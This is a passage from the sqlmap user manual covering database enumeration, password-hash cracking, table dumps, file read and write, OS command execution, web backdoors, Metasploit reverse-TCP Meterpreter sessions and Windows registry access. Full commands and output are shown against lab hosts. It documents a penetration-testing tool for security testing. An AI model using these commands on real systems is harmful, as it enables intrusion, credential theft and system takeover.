[INFO] using hash method: 'postgres_passwd' -what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] -[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' -do you want to use common password suffixes? (slow!) [y/N] n -[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) -[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' -[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' -database management system users password hashes: -[*] postgres [1]: - password hash: md5d7d880f96044b72d0bba108ace96d1e4 - clear-text password: testpass -[*] testuser [1]: - password hash: md599e5ea7a6f7c3269995cba3927fd0093 - clear-text password: testpass -</verb></tscreen> - -<p> -Not only sqlmap enumerated the DBMS users and their passwords, but it also -recognized the hash format to be PostgreSQL, asked the user whether or not -to test the hashes against a dictionary file and identified the clear-text -password for the <tt>postgres</tt> user, which is usually a DBA along the -other user, <tt>testuser</tt>, password. - -<p> -This feature has been implemented for all DBMS where it is possible to -enumerate users' password hashes, including Oracle and Microsoft SQL -Server pre and post 2005. - -<p> -You can also provide the <tt>-U</tt> option to specify the specific user -who you want to enumerate and eventually crack the password hash(es). -If you provide <tt>CU</tt> as username it will consider it as an alias for -current user and will retrieve the password hash(es) for this user. - - -<sect2>List database management system users privileges - -<p> -Switches: <tt>-</tt><tt>-privileges</tt> and <tt>-U</tt> - -<p> -When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -privileges for each database management system user. -By the privileges, sqlmap will also show you which are database -administrators. - -<p> -You can also provide the <tt>-U</tt> option to specify the user who you -want to enumerate the privileges. - -<p> -If you provide <tt>CU</tt> as username it will consider it as an alias for -current user and will enumerate the privileges for this user. - -<p> -On Microsoft SQL Server, this feature will display you whether or not each -user is a database administrator rather than the list of privileges for -all users. - - -<sect2>List database management system users roles - -<p> -Switches: <tt>-</tt><tt>-roles</tt> and <tt>-U</tt> - -<p> -When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -roles for each database management system user. - -<p> -You can also provide the <tt>-U</tt> option to specify the user who you -want to enumerate the privileges. - -<p> -If you provide <tt>CU</tt> as username it will consider it as an alias for -current user and will enumerate the privileges for this user. - -<p> -This feature is only available when the DBMS is Oracle. - - -<sect2>List database management system's databases - -<p> -Switch: <tt>-</tt><tt>-dbs</tt> - -<p> -When the session user has read access to the system table containing -information about available databases, it is possible to enumerate the -list of databases. - - -<sect2>Enumerate database's tables - -<p> -Switches: <tt>-</tt><tt>-tables</tt>, <tt>-D</tt> and -<tt>-</tt><tt>-exclude-sysdbs</tt> - -<p> -When the session user has read access to the system table containing -information about databases' tables, it is possible to enumerate -the list of tables for a specific database management system's databases. - -<p> -If you do not provide a specific database with switch <tt>-D</tt>, sqlmap -will enumerate the tables for all DBMS databases. - -<p> -You can also provide the <tt>-</tt><tt>-exclude-sysdbs</tt> switch to -exclude all system databases. - -<p> -Note that on Oracle you have to provide the <tt>TABLESPACE_NAME</tt> -instead of the database name. - - -<sect2>Enumerate database table columns - -<p> -Switches: <tt>-</tt><tt>-columns</tt>, <tt>-C</tt>, <tt>-T</tt> and <tt>-D</tt> - -<p> -When the session user has read access to the system table containing -information about database's tables, it is possible to enumerate the list -of columns for a specific database table. -sqlmap also enumerates the data-type for each column. - -<p> -This feature depends on the option <tt>-T</tt> to specify the table name -and optionally on <tt>-D</tt> to specify the database name. When the -database name is not specified, the current database name is used. -You can also provide the <tt>-C</tt> option to specify the table columns -name like the one you provided to be enumerated. - -<p> -Example against a SQLite target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \ - -D testdb -T users -C name -[...] -Database: SQLite_masterdb -Table: users -[3 columns] -+---------+---------+ -| Column | Type | -+---------+---------+ -| id | INTEGER | -| name | TEXT | -| surname | TEXT | -+---------+---------+ -</verb></tscreen> - -<p> -Note that on PostgreSQL you have to provide <tt>public</tt> or the -name of a system database. That's because it is not possible to enumerate -other databases tables, only the tables under the schema that the web -application's user is connected to, which is always aliased by -<tt>public</tt>. - - -<sect2>Enumerate database management system schema - -<p> -Switches: <tt>-</tt><tt>-schema</tt> - -<p> -TODO - - -<sect2>Retrieve number of entries for table(s) - -<p> -Switches: <tt>-</tt><tt>-count</tt> - -<p> -TODO - - -<sect2>Dump database table entries - -<p> -Switches: <tt>-</tt><tt>-dump</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt>, -<tt>-</tt><tt>-start</tt>, <tt>-</tt><tt>-stop</tt>, <tt>-</tt><tt>-first</tt> -and <tt>-</tt><tt>-last</tt> - -<p> -When the session user has read access to a specific database's table it is -possible to dump the table entries. - -<p> -This functionality depends on switch <tt>-T</tt> to specify the table -name and optionally on switch <tt>-D</tt> to specify the database name. -If the table name is provided, but the database name is not, the current -database name is used. - -<p> -Example against a Firebird target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users -[...] -Database: Firebird_masterdb -Table: USERS -[4 entries] -+----+--------+------------+ -| ID | NAME | SURNAME | -+----+--------+------------+ -| 1 | luther | blisset | -| 2 | fluffy | bunny | -| 3 | wu | ming | -| 4 | NULL | nameisnull | -+----+--------+------------+ -</verb></tscreen> - -<p> -This switch can also be used to dump all tables' entries of a provided -database. You simply have to provide sqlmap with the <tt>-</tt><tt>-dump</tt> -switch along with only the <tt>-D</tt> switch, no <tt>-T</tt> and no -<tt>-C</tt>. - -<p> -You can also provide a comma-separated list of the specific columns to -dump with the <tt>-C</tt> switch. - -<p> -sqlmap also generates for each table dumped the entries in a CSV format -textual file. -You can see the absolute path where sqlmap creates the file by providing a -verbosity level greater than or equal to <bf>1</bf>. - -<p> -If you want to dump only a range of entries, then you can provide switches -<tt>-</tt><tt>-start</tt> and/or <tt>-</tt><tt>-stop</tt> to respectively -start to dump from a certain entry and stop the dump at a certain entry. -For instance, if you want to dump only the first entry, provide -<tt>-</tt><tt>-stop 1</tt> in your command line. Vice versa if, for -instance, you want to dump only the second and third entry, provide -<tt>-</tt><tt>-start 1</tt> <tt>-</tt><tt>-stop 3</tt>. - -<p> -It is also possible to specify which single character or range of characters -to dump with switches <tt>-</tt><tt>-first</tt> and <tt>-</tt><tt>-last</tt>. -For instance, if you want to dump columns' entries from the third to the -fifth character, provide <tt>-</tt><tt>-first 3</tt> <tt>-</tt><tt>-last -5</tt>. -This feature only applies to the blind SQL injection techniques because for -error-based and UNION query SQL injection techniques the number of requests -is exactly the same, regardless of the length of the column's entry output -to dump. - -<p> -As you may have noticed by now, sqlmap is <bf>flexible</bf>: you can leave -it to automatically dump the whole database table or you can be very -precise in which characters to dump, from which columns and which range of -entries. - - -<sect2>Dump all databases tables entries - -<p> -Switches: <tt>-</tt><tt>-dump-all</tt> and <tt>-</tt><tt>-exclude-sysdbs</tt> - -<p> -It is possible to dump all databases tables entries at once that the -session user has read access on. - -<p> -You can also provide the <tt>-</tt><tt>-exclude-sysdbs</tt> switch to -exclude all system databases. In that case sqlmap will only dump entries -of users' databases tables. - -<p> -Note that on Microsoft SQL Server the <tt>master</tt> database is not -considered a system database because some database administrators use it -as a users' database. - - -<sect2>Search for columns, tables or databases - -<p> -Switches: <tt>-</tt><tt>-search</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt> - -<p> -This switch allows you to <bf>search for specific database names, specific -tables across all databases or specific columns across all databases' -tables</bf>. - -<p> -This is useful, for instance, to identify tables containing custom -application credentials where relevant columns' names contain string like -<em>name</em> and <em>pass</em>. - -<p> -The switch <tt>-</tt><tt>-search</tt> needs to be used in conjunction with -one of the following support switches: - -<itemize> -<item><tt>-C</tt> following a list of comma-separated column names to look -for across the whole database management system. -<item><tt>-T</tt> following a list of comma-separated table names to look -for across the whole database management system. -<item><tt>-D</tt> following a list of comma-separated database names to -look for across the database management system. -</itemize> - - -<sect2>Run custom SQL statement - -<p> -Switches: <tt>-</tt><tt>-sql-query</tt> and <tt>-</tt><tt>-sql-shell</tt> - -<p> -The SQL query and the SQL shell features allow to run arbitrary SQL -statements on the database management system. -sqlmap automatically dissects the provided statement, determines which -technique is appropriate to use to inject it and how to pack the SQL -payload accordingly. - -<p> -If the query is a <tt>SELECT</tt> statement, sqlmap will retrieve its -output. -Otherwise it will execute the query through the stacked query SQL -injection technique if the web application supports multiple statements on -the back-end database management system. -Beware that some web application technologies do not support stacked -queries on specific database management systems. For instance, PHP does -not support stacked queries when the back-end DBMS is MySQL, but it does -support when the back-end DBMS is PostgreSQL. - -<p> -Examples against a Microsoft SQL Server 2000 target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ - "SELECT 'foo'" -v 1 - -[...] -[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' -[hh:mm:14] [INFO] retrieved: foo -SELECT 'foo': 'foo' - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ - "SELECT 'foo', 'bar'" -v 2 - -[...] -[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' -[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into -distinct queries to be able to retrieve the output even if we are going blind -[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), -(CHAR(32))) -[hh:mm:50] [INFO] retrieved: foo -[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds -[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), -(CHAR(32))) -[hh:mm:50] [INFO] retrieved: bar -[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds -SELECT 'foo', 'bar': 'foo, bar' -</verb></tscreen> - -<p> -As you can see, sqlmap splits the provided query into two different -<tt>SELECT</tt> statements then retrieves the output for each separate -query. - -<p> -If the provided query is a <tt>SELECT</tt> statement and contains a -<tt>FROM</tt> clause, sqlmap will ask you if such statement can return -multiple entries. In that case the tool knows how to unpack the query -correctly to count the number of possible entries and retrieve its output, -entry per entry. - -<p> -The SQL shell option allows you to run your own SQL statement -interactively, like a SQL console connected to the database management -system. -This feature provides TAB completion and history support too. - - -<sect1>Brute force - -<p> -These options can be used to run brute force checks. - -<sect2>Brute force tables names - -<p> -Switches: <tt>-</tt><tt>-common-tables</tt> - -<p> -There are cases where <tt>-</tt>-<tt>tables</tt> switch can not be used to -retrieve the databases' table names. These cases usually fit into one -of the following categories: - -<itemize> -<item>The database management system is MySQL <bf>< 5.0</bf> where -<tt>information_schema</tt> is not available. -<item>The database management system is Microsoft Access and system table -<tt>MSysObjects</tt> is not readable - default setting. -<item>The session user does not have read privileges against the system -table storing the scheme of the databases. -</itemize> - -<p> -If any of the first two cases apply and you provided the -<tt>-</tt>-<tt>tables</tt> switch, sqlmap will prompt you with a question -to fall back to this technique. -Either of these cases apply to your situation, sqlmap can possibly still -identify some existing tables if you provide it with the -<tt>-</tt><tt>-common-tables</tt> switch. sqlmap will perform a -brute-force attack in order to detect the existence of common tables -across the DBMS. - -<p> -The list of common table names is <tt>txt/common-tables.txt</tt> and you -can edit it as you wish. - -<p> -Example against a MySQL 4.1 target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \ - --common-tables -D testdb --banner - -[...] -[hh:mm:39] [INFO] testing MySQL -[hh:mm:39] [INFO] confirming MySQL -[hh:mm:40] [INFO] the back-end DBMS is MySQL -[hh:mm:40] [INFO] fetching banner -web server operating system: Windows -web application technology: PHP 5.3.1, Apache 2.2.14 -back-end DBMS operating system: Windows -back-end DBMS: MySQL < 5.0.0 -banner: '4.1.21-community-nt' - -[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt' -[hh:mm:40] [INFO] adding words used on web page to the check list -please enter number of threads? [Enter for 1 (current)] 8 -[hh:mm:43] [INFO] retrieved: users - -Database: testdb -[1 table] -+-------+ -| users | -+-------+ -</verb></tscreen> - - -<sect2>Brute force columns names - -<p> -Switches: <tt>-</tt><tt>-common-columns</tt> - -<p> -As per tables, there are cases where <tt>-</tt>-<tt>columns</tt> switch -can not be used to retrieve the databases' tables' column names. These -cases usually fit into one of the following categories: - -<itemize> -<item>The database management system is MySQL <bf>< 5.0</bf> where -<tt>information_schema</tt> is not available. -<item>The database management system is Microsoft Access where this -kind of information is not available inside system tables. -<item>The session user does not have read privileges against the system -table storing the scheme of the databases. -</itemize> - -<p> -If any of the first two cases apply and you provided the -<tt>-</tt>-<tt>columns</tt> switch, sqlmap will prompt you with a question -to fall back to this technique. -Either of these cases apply to your situation, sqlmap can possibly still -identify some existing tables if you provide it with the -<tt>-</tt><tt>-common-columns</tt> switch. sqlmap will perform a -brute-force attack in order to detect the existence of common columns -across the DBMS. - -<p> -The list of common table names is <tt>txt/common-columns.txt</tt> and you -can edit it as you wish. - - -<sect1>User-defined function injection - -<p> -These options can be used to create custom user-defined functions. - -<sect2>Inject custom user-defined functions (UDF) - -<p> -Switches: <tt>-</tt><tt>-udf-inject</tt> and <tt>-</tt><tt>-shared-lib</tt> - -<p> -You can inject your own user-defined functions (UDFs) by compiling a -MySQL or PostgreSQL shared library, DLL for Windows and shared object for -Linux/Unix, then provide sqlmap with the path where the shared library -is stored locally on your machine. sqlmap will then ask you some -questions, upload the shared library on the database server file system, -create the user-defined function(s) from it and, depending on your -options, execute them. When you are finished using the injected UDFs, -sqlmap can also remove them from the database for you. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control">. - -<p> -Use switch <tt>-</tt><tt>-udf-inject</tt> and follow the instructions. - -<p> -If you want, you can specify the shared library local file system path -via command line too by using <tt>-</tt><tt>-shared-lib</tt> option. Vice -versa sqlmap will ask you for the path at runtime. - -<p> -This feature is available only when the database management system is -MySQL or PostgreSQL. - - -<sect1>File system access - -<sect2>Read a file from the database server's file system - -<p> -Switch: <tt>-</tt><tt>-file-read</tt> - -<p> -It is possible to retrieve the content of files from the underlying file -system when the back-end database management system is either MySQL, -PostgreSQL or Microsoft SQL Server, and the session user has the needed -privileges to abuse database specific functionalities and architectural -weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control">. - -<p> -Example against a Microsoft SQL Server 2005 target to retrieve a binary -file: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \ - --file-read "C:/example.exe" -v 1 - -[...] -[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server -web server operating system: Windows 2000 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP -back-end DBMS: Microsoft SQL Server 2005 - -[hh:mm:50] [INFO] fetching file: 'C:/example.exe' -[hh:mm:50] [INFO] the SQL query provided returns 3 entries -C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe' -[...] - -$ ls -l output/192.168.136.129/files/C__example.exe --rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe - -$ file output/192.168.136.129/files/C__example.exe -output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel -80386 32-bit -</verb></tscreen> - - -<sect2>Upload a file to the database server's file system - -<p> -Switches: <tt>-</tt><tt>-file-write</tt> and <tt>-</tt><tt>-file-dest</tt> - -<p> -It is possible to upload a local file to the database server's file system -when the back-end database management system is either MySQL, PostgreSQL -or Microsoft SQL Server, and the session user has the needed privileges to -abuse database specific functionalities and architectural weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control">. - -<p> -Example against a MySQL target to upload a binary UPX-compressed file: - -<tscreen><verb> -$ file /software/nc.exe.packed -/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit - -$ ls -l /software/nc.exe.packed --rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed - -$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ - "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 - -[...] -[hh:mm:29] [INFO] the back-end DBMS is MySQL -web server operating system: Windows 2003 or 2008 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 -back-end DBMS: MySQL >= 5.0.0 - -[...] -do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully -written on the back-end DBMS file system? [Y/n] y -[hh:mm:52] [INFO] retrieved: 31744 -[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, -same size as the local file '/software/nc.exe.packed' -</verb></tscreen> - - -<sect1>Operating system takeover - -<sect2>Run arbitrary operating system command - -<p> -Switches: <tt>-</tt><tt>-os-cmd</tt> and <tt>-</tt><tt>-os-shell</tt> - -<p> -It is possible to <bf>run arbitrary commands on the database server's -underlying operating system</bf> when the back-end database management -system is either MySQL, PostgreSQL or Microsoft SQL Server, and the -session user has the needed privileges to abuse database specific -functionalities and architectural weaknesses. - -<p> -On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality -explained above) a shared library (binary file) containing two -user-defined functions, <tt>sys_exec()</tt> and <tt>sys_eval()</tt>, then -it creates these two functions on the database and calls one of them to -execute the specified command, depending on user's choice to display the -standard output or not. -On Microsoft SQL Server, sqlmap abuses the <tt>xp_cmdshell</tt> stored -procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), -sqlmap re-enables it; if it does not exist, sqlmap creates it from -scratch. - -<p> -When the user requests the standard output, sqlmap uses one of the -enumeration SQL injection techniques (blind, inband or error-based) to -retrieve it. Vice versa, if the standard output is not required, stacked -query SQL injection technique is used to execute the command. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control">. - -<p> -Example against a PostgreSQL target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ - --os-cmd id -v 1 - -[...] -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: PostgreSQL -[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:12] [INFO] the back-end DBMS operating system is Linux -[hh:mm:12] [INFO] testing if current user is DBA -[hh:mm:12] [INFO] detecting back-end DBMS version from its banner -[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist -[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist -[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file -[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file -do you want to retrieve the command standard output? [Y/n/a] y -command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' - -[hh:mm:19] [INFO] cleaning up the database management system -do you want to remove UDF 'sys_eval'? [Y/n] y -do you want to remove UDF 'sys_exec'? [Y/n] y -[hh:mm:23] [INFO] database management system cleanup finished -[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can -only be deleted manually -</verb></tscreen> - -<p> -It is also possible to simulate a real shell where you can type as many -arbitrary commands as you wish. The option is <tt>-</tt><tt>-os-shell</tt> -and has the same TAB completion and history functionalities that -<tt>-</tt><tt>-sql-shell</tt> has. - -<p> -Where stacked queries has not been identified on the web application -(e.g. PHP or ASP with back-end database management system being MySQL) and -the DBMS is MySQL, it is still possible to abuse the <tt>SELECT</tt> -clause's <tt>INTO OUTFILE</tt> to create a web backdoor in a writable -folder within the web server document root and still get command -execution assuming the back-end DBMS and the web server are hosted on the -same server. -sqlmap supports this technique and allows the user to provide a -comma-separated list of possible document root sub-folders where try to -upload the web file stager and the subsequent web backdoor. Also, sqlmap -has its own tested web file stagers and backdoors for the following -languages: - -<itemize> -<item>ASP -<item>ASP.NET -<item>JSP -<item>PHP -</itemize> - - -<sect2>Out-of-band stateful connection: Meterpreter & friends - -<p> -Switches: <tt>-</tt><tt>-os-pwn</tt>, <tt>-</tt><tt>-os-smbrelay</tt>, -<tt>-</tt><tt>-os-bof</tt>, <tt>-</tt><tt>-priv-esc</tt>, -<tt>-</tt><tt>-msf-path</tt> and <tt>-</tt><tt>-tmp-path</tt> - -<p> -It is possible to establish an <bf>out-of-band stateful TCP connection -between the attacker machine and the database server</bf> underlying -operating system when the back-end database management system is either -MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the -needed privileges to abuse database specific functionalities and -architectural weaknesses. -This channel can be an interactive command prompt, a Meterpreter session -or a graphical user interface (VNC) session as per user's choice. - -<p> -sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -<itemize> -<item>Database <bf>in-memory execution of the Metasploit's shellcode</bf> -via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on -MySQL and PostgreSQL - switch <tt>-</tt><tt>-os-pwn</tt>. -<item>Upload and execution of a Metasploit's <bf>stand-alone payload -stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on -MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL -Server - switch <tt>-</tt><tt>-os-pwn</tt>. -<item>Execution of Metasploit's shellcode by performing a <bf>SMB -reflection attack</bf> (<htmlurl -url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx" -name="MS08-068">) with a UNC path request from the database server to -the attacker's machine where the Metasploit <tt>smb_relay</tt> server -exploit listens. Supported when running sqlmap with high privileges -(<tt>uid=0</tt>) on Linux/Unix and the target DBMS runs as Administrator -on Windows - switch <tt>-</tt><tt>-os-smbrelay</tt>. -<item>Database in-memory execution of the Metasploit's shellcode by -exploiting <bf>Microsoft SQL Server 2000 and 2005 -<tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer -overflow</bf> (<htmlurl -url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx" -name="MS09-004">). sqlmap has its own exploit to trigger the -vulnerability with automatic DEP memory protection bypass, but it relies -on Metasploit to generate the shellcode to get executed upon successful -exploitation - switch <tt>-</tt><tt>-os-bof</tt>. -</itemize> - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control"> and in the -slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database" -name="Expanding the control over the operating system from the database">. - -<p> -Example against a MySQL target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \ - --msf-path /software/metasploit - -[...] -[hh:mm:31] [INFO] the back-end DBMS is MySQL -web server operating system: Windows 2003 -web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 -back-end DBMS: MySQL 5.0 -[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:31] [INFO] the back-end DBMS operating system is Windows -how do you want to establish the tunnel? -[1] TCP: Metasploit Framework (default) -[2] ICMP: icmpsh - ICMP tunneling -> -[hh:mm:32] [INFO] testing if current user is DBA -[hh:mm:32] [INFO] fetching current user -what is the back-end database management system architecture? -[1] 32-bit (default) -[2] 64-bit -> -[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist -[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist -[hh:mm:33] [INFO] detecting back-end DBMS version from its banner -[hh:mm:33] [INFO] retrieving MySQL base directory absolute path -[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file -[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file -how do you want to execute the Metasploit shellcode on the back-end database underlying -operating system? -[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) -[2] Stand-alone payload stager (file system way) -> -[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode -which connection type do you want to use? -[1] Reverse TCP: Connect back from the database host to this machine (default) -[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports -between the specified and 65535 -[3] Bind TCP: Listen on the database host for a connection -> -which is the local address? [192.168.136.1] -which local port number do you want to use? [60641] -which payload do you want to use? -[1] Meterpreter (default) -[2] Shell -[3] VNC -> -[hh:mm:40] [INFO] creation in progress ... done -[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. - - _ - | | o - _ _ _ _ _|_ __, , _ | | __ _|_ -/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| | - | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ - /| - \| - - - =[ metasploit v3.7.0-dev [core:3.7 api:1.0] -+ -- --=[ 674 exploits - 351 auxiliary -+ -- --=[ 217 payloads - 27 encoders - 8 nops - =[ svn r12272 updated 4 days ago (2011.04.07) - -PAYLOAD => windows/meterpreter/reverse_tcp -EXITFUNC => thread -LPORT => 60641 -LHOST => 192.168.136.1 -[*] Started reverse handler on 192.168.136.1:60641 -[*] Starting the payload handler... -[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', -please wait.. -[*] Sending stage (749056 bytes) to 192.168.136.129 -[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 -hh:mm:52 +0100 2011 - -meterpreter > Loading extension espia...success. -meterpreter > Loading extension incognito...success. -meterpreter > [-] The 'priv' extension has already been loaded. -meterpreter > Loading extension sniffer...success. -meterpreter > System Language : en_US -OS : Windows .NET Server (Build 3790, Service Pack 2). -Computer : W2K3R2 -Architecture : x86 -Meterpreter : x86/win32 -meterpreter > Server username: NT AUTHORITY\SYSTEM -meterpreter > ipconfig - -MS TCP Loopback interface -Hardware MAC: 00:00:00:00:00:00 -IP Address : 127.0.0.1 -Netmask : 255.0.0.0 - - - -Intel(R) PRO/1000 MT Network Connection -Hardware MAC: 00:0c:29:fc:79:39 -IP Address : 192.168.136.129 -Netmask : 255.255.255.0 - - -meterpreter > exit - -[*] Meterpreter session 1 closed. Reason: User exit -</verb></tscreen> - -<p> -By default MySQL on Windows runs as <tt>SYSTEM</tt>, however PostgreSQL -runs as a low-privileged user <tt>postgres</tt> on both Windows and Linux. -Microsoft SQL Server 2000 by default runs as <tt>SYSTEM</tt>, whereas -Microsoft SQL Server 2005 and 2008 run most of the times as <tt>NETWORK -SERVICE</tt> and sometimes as <tt>LOCAL SERVICE</tt>. - -<p> -It is possible to provide sqlmap with the <tt>-</tt><tt>-priv-esc</tt> -switch to perform a <bf>database process' user privilege escalation</bf> -via Metasploit's <tt>getsystem</tt> command which include, among others, -the <htmlurl -url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html" -name="kitrap0d"> technique (<htmlurl -url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx" -name="MS10-015">). - - -<sect1>Windows registry access - -<p> -It is possible to access Windows registry when the back-end database -management system is either MySQL, PostgreSQL or Microsoft SQL Server, -and when the web application supports stacked queries. Also, session user -has to have the needed privileges to access it. - -<sect2>Read a Windows registry key value - -<p> -Switch: <tt>-</tt><tt>-reg-read</tt> - -<p> -Using this option you can read registry key values. - -<sect2>Write a Windows registry key value - -<p> -Switch: <tt>-</tt><tt>-reg-add</tt> - -<p> -Using this option you can write registry key values. - -<sect2>Delete a Windows registry key - -<p> -Switch: <tt>-</tt><tt>-reg-del</tt> - -<p> -Using this option you can delete registry keys. - -<sect2>Auxiliary registry switches - -<p> -Switches: <tt>-</tt><tt>-reg-key</tt>, <tt>-</tt><tt>-reg-value</tt>, -<tt>-</tt><tt>-reg-data</tt> and <tt>-</tt><tt>-reg-type</tt> - -<p> -These switches can be used to provide data needed for proper running of -options <tt>-</tt><tt>-reg-read</tt>, <tt>-</tt><tt>-reg-add</tt> and -<tt>-</tt><tt>-reg-del</tt>. So, instead of providing registry key -information when asked, you can use them at command prompt as program -arguments. - -<p> -With <tt>-</tt><tt>-reg-key</tt> option you specify used Windows registry -key path, with <tt>-</tt><tt>-reg-value</tt> value item name inside -provided key, with <tt>-</tt><tt>-reg-data</tt> value data, while with -<tt>-</tt><tt>-reg-type</tt> option you specify type of the value item. - -<p> -A sample command line for adding a registry key hive follows: - -<tscreen><verb> -$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \ - --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 -</verb></tscreen> - - -<sect1>General - - -<sect2>Log HTTP(s) traffic to a textual file - -<p> -Switch: <tt>-t</tt> - -<p> -This switch requires an argument that specified the textual file to write -all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s) -responses. - -<p> -This is useful primarily for debug purposes. - - -<sect2>Session file: save and resume data retrieved - -<p> -Switch: <tt>-s</tt> - -<p> -By default sqlmap logs all queries and their output into a textual file -called <em>session file</em>, regardless of the technique used to extract -the data. -This is useful if you stop the injection for any reason and rerun it -afterwards: sqlmap will parse the session file and resume enumerated data -from it, then carry on extracting data from the exact point where it left -before you stopped the tool. - -<p> -The default session file is <tt>output/TARGET_URL/session</tt>, but you -can specify a different file path with <tt>-s</tt> switch. - -<p> -The session file has the following structure: - -<tscreen><verb> -[hh:mm:ss MM/DD/YY] 